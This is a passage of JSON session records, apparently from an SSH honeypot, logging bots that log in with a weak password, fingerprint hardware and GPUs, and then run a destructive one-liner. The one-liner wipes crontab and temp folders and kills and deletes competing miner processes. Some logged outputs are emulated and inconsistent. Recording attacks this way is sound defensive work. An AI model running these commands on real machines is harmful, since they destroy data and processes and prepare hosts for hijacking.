.*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-23T08:40:06.282060+00:00","kind":"output","latency_ms":null,"data":"3 days,  5:30"},{"seq":7,"at":"2026-08-23T08:40:06.502134+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-23T08:40:09.526657+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-23T08:40:09.690729+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-23T08:40:14.699466+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-23T08:40:14.877645+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-23T08:40:17.602678+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-23T08:40:17.765374+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-23T08:40:22.039903+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-23T08:40:22.209964+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-23T08:40:25.597690+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-23T08:40:25.782257+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-23T08:40:28.541791+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-23T08:40:28.707929+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-23T08:40:33.734506+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-23T08:40:33.919338+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-23T08:40:39.459270+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-23T08:40:39.623818+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-23T08:40:45.113810+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-23T08:40:45.293896+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-23T08:40:50.706064+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"d103d079-3b31-4678-9888-779ff9eae37f","name":"ashen-creaky-warbler","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":57824,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":408,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:03:33.074687+00:00","ended_at":"2026-08-21T13:03:37.312251+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1658,"events":[{"seq":1,"at":"2026-08-21T13:02:29.029388+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:02:31.942514+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:02:32.478858+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:02:38.194875+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:02:38.596475+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:02:44.209763+00:00","kind":"output","latency_ms":null,"data":"1 day,  9:52"},{"seq":7,"at":"2026-08-21T13:02:44.818500+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:02:50.082893+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:02:51.268119+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:02:56.571357+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:02:57.306671+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:03:02.655115+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:03:03.150222+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:03:09.035034+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:03:09.201205+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:03:11.895948+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:03:12.189008+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:03:14.815526+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:03:15.224154+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:03:20.088547+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:03:20.315156+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:03:23.996191+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:03:24.164970+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:03:30.040835+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:03:30.225215+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:03:33.075402+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"8106e6dc-5b50-4964-907a-16d526cacd84","name":"tidal-amber-rook","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":44950,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T18:55:37.572944+00:00","ended_at":"2026-08-20T18:55:39.378737+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"b7f31c10-4387-46e3-9898-e03d3d67890a","name":"blithe-dewy-eider","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":40304,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":197,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T18:55:31.929290+00:00","ended_at":"2026-08-20T18:55:39.379819+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1651,"events":[{"seq":1,"at":"2026-08-20T18:54:37.393859+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:54:40.516797+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:54:40.696068+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:54:45.811111+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:54:46.162255+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:54:51.450816+00:00","kind":"output","latency_ms":null,"data":"15:44"},{"seq":7,"at":"2026-08-20T18:54:51.651475+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:54:54.228874+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:54:54.407261+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:54:59.553966+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:54:59.749638+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:55:03.463154+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:55:03.674204+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:55:06.195554+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:55:06.425463+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:55:11.689855+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:55:11.878089+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:55:17.512171+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:55:17.699999+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:55:20.423876+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:55:20.621594+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:55:23.343795+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:55:23.522939+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T18:55:26.610648+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T18:55:26.964857+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T18:55:31.930285+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"5c7bcb9f-2fef-4461-acbc-0aefb706f470","name":"scarlet-plush-bison","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":59986,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T11:02:13.280366+00:00","ended_at":"2026-08-20T11:02:14.740481+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"141e2811-0ec3-429f-885c-596fabad8718","name":"primal-mottled-reindeer","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":35638,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":226,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T11:02:12.849509+00:00","ended_at":"2026-08-20T11:02:14.741489+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1547,"events":[{"seq":1,"at":"2026-08-20T11:01:57.683847+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T11:01:57.684527+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T11:01:57.880275+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T11:01:59.059649+00:00","kind":"output","latency_ms":1179,"data":"x86_64"},{"seq":5,"at":"2026-08-20T11:01:59.552577+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T11:02:00.352720+00:00","kind":"output","latency_ms":798,"data":"7:52"},{"seq":7,"at":"2026-08-20T11:02:00.605133+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T11:02:00.605931+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T11:02:00.791450+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T11:02:01.529642+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T11:02:01.722014+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T11:02:02.652609+00:00","kind":"output","latency_ms":931,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T11:02:02.979586+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T11:02:07.616432+00:00","kind":"output","latency_ms":4636,"data":"AS8075 Microsoft Corporation"},{"seq":15,"at":"2026-08-20T11:02:07.843312+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T11:02:08.310115+00:00","kind":"output","latency_ms":465,"data":"0"},{"seq":17,"at":"2026-08-20T11:02:08.509916+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T11:02:09.165728+00:00","kind":"output","latency_ms":653,"data":"GPU 0: NVIDIA A100 80GB PCIe\nGPU 1: NVIDIA A100 80GB PCIe"},{"seq":19,"at":"2026-08-20T11:02:09.463121+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T11:02:10.080663+00:00","kind":"output","latency_ms":617,"data":"0"},{"seq":21,"at":"2026-08-20T11:02:10.290245+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T11:02:11.154231+00:00","kind":"output","latency_ms":863,"data":"localhost"},{"seq":23,"at":"2026-08-20T11:02:11.322775+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T11:02:12.256373+00:00","kind":"output","latency_ms":932,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T11:02:12.620451+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T11:02:12.850255+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"66726f27-5023-42e8-922b-2f91867ab90c","name":"brave-candid-tern","protocol":"ssh","channel_kind":null,"src_ip":"78.109.200.147","src_port":44254,"username":"ftpuser1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T09:18:46.781684+00:00","ended_at":"2026-08-20T09:18:48.519050+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"12345678","method":"password","accepted":false,"tier":"other"}]}